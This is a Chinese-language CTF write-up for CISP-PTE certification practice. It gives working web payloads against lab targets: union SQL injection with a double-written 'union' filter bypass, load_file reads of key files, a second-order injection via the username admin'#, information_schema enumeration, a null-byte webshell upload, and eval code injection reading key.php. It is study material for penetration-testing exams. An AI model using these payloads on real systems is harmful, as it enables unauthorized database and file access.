0x01 前言
接文CISP-PTE-PTE认证中的CTF题目及WP(一),,,往期部分题目及模拟题第二弹。
0x02 报错联合注入
随便输入,可以发现并没有过滤什么内容,输入id=1'
select * from article where (id like '%1'%')
看到回显,直接闭合掉,测试注释
?id=1%27)%20order%20by%204%20--+
测试在order by 5的时候报错,说明有四个字段,其实这种情况下直接猜测就可以,页面首先三个字段,标题、作者和内容。那么就直接使用开始进行手工注入
?id=-1%27)%20union%20select%201,2,3,4%20--+
根据回显发现过滤掉了union,那么比较简单双写就可以绕过了
?id=-1%27)%20ununionion%20select%201,database(),3,4%20--+

成功爆出数据库名,根据题目提示需要读取文件,那么使用load_file去读文件就ok了,构造payload
?id=-1%27)%20ununionion%20select%201,load_file(%27/tmp/key%27),3,4%20--+
即可直接读取key
0x03 二次注入

注册一个新的用户,用户名为" admin'# "

创建后登录。然后直接修改密码,修改后登录

0x04 模一
进行闭合尝试,在尝试payload
?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6%27%20and%20%271%27=%271
即
http://192.168.100.180:81/start/index.php?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' UNION SELECT 1,2,3,4,5,6 and '1'='1
测试该数据库有6个字段,开始爆库
?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' UNION SELECT 1,2,database(),4,5,6 and '1'='1

?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='2web'),4,5,6 and '1'='1

得到表之后直接查询
?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='IS_KEY'),4,5,6 and '1'='1

得到列名,查值
?uuid=-983fd952-df4e-4b63-946f-f2e6bb0327d6' union select 1,2,(select group_concat(haha) from IS_KEY),4,5,6 and '1'='1

0x05 00截断
上传一句话木马文件不行,上传一句话00截断上传失败,需上传马明命名之后进行00截断即可


0x06 命令执行模一
源码:
<?php
error_reporting(0);
$a=@$_REQUEST['hello'];
eval("var_dump($a);");
show_source(__FILE__);
?>
比较简单,分析源码就是get传入参数hello,通过eval去执行dump命令,那么直接构造参数内容,想要执行var_dump($a),hello参数的内容首先就是先闭合var_dump函数,再利用“ ; ”,去拼接一条命令即可,后面拼接的命令就可以使用var_dump打印或者print_r打印,打印的内容就是key.php的内容,payload如下:
?hello=);print_r(file("key.php")
?hello=);var_dump(file("key.php")

0x07 结语
内容比较基础,但总的来说东西比较系统,不一定三个小时能够毫无准备的顺利解决基础+综合,,,另外祝大家**除夕快乐!!! 😃 **